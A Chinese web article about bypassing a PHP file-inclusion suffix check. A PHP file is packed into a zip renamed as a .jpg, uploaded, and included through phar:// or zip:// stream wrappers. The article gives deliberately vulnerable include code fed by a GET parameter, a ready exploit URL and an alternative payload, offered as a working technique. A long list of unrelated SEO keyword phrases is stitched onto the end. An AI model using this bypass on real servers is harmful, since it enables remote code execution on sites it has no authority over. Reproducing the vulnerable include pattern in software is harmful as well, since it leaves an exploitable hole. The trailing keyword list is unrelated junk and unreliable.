包含漏洞 文件类型白名单验证及判断后缀的解决办法
发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,$include_file 可控,可以上传文件, 上传后缀限制为jpg,gif,png,包含后缀限制必须为.phpallow_url_include=Off (不考虑远程包含)if ( isset(
千家信息网最后更新 2025年01月20日包含漏洞 文件类型白名单验证及判断后缀的解决办法
$include_file 可控,可以上传文件, 上传后缀限制为jpg,gif,png,包含后缀限制必须为.php
allow_url_include=Off (不考虑远程包含)
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { include_once( $include_file ); }
-----------------------------------------------------
解决方案
要求php>=5.3
把php打包成zip,改名上传,比如名为info.zip.jpg
然后用phar流包装器包含,其中info.zip.jpg为zip文件名,info.php为zip压缩包内子文件名
http://localhost/index.php?a=phar://info.zip.jpg/info.php
测试代码:
echo "ini_get(allow_url_include):".ini_get("allow_url_include")."";$include_file=$_GET['a'];if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ){ include_once( $include_file );}else{ echo "file err";}
参考文档:http://php.net/manual/zh/phar.using.stream.php
PS.
据php官方文档所述,最少需要php5.3才能使用,5.3之前需要拓展
如果不能用的话,还可以试试zip流包装器(需要zip拓展),注意转义井号:
zip://info.zip.jpg#info.php
文件
后缀
文件名
文档
包装
限制
代码
官方
方案
解决方案
义井
参考
测试
办法
名单
漏洞
类型
验证
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
软件开发工程师35岁瓶颈
山东省软件开发人员测算依据
网络安全手抄报图片很难
高性能服务器功能
梦幻西游服务器没有角色如何买号
影视集团网络安全简报
视频分发服务器价格
网络安全文段
秒懂百科网络安全教育视频
计算机网络技术老师招聘要求
计算机网络技术是学编程
服务器文件系统怎么查
规格数据的数据库设计
企业网络安全利益
centos默认数据库
目前最新魔兽世界服务器人口排行
企业网络安全如何设计折页
华为服务器顶盖安全锁扣
如何进入网络安全大会
网络安全基本特性
网络安全留学性价比学校
山东省软件开发人员测算依据
河南大数据软件开发哪家好
iso软件开发过程
个人网络安全威胁的例子
网络安全上网手抄报简单
和田软件开发联系方式
软件开发人才迭代快
海康服务器类型
数据库系统第二章总结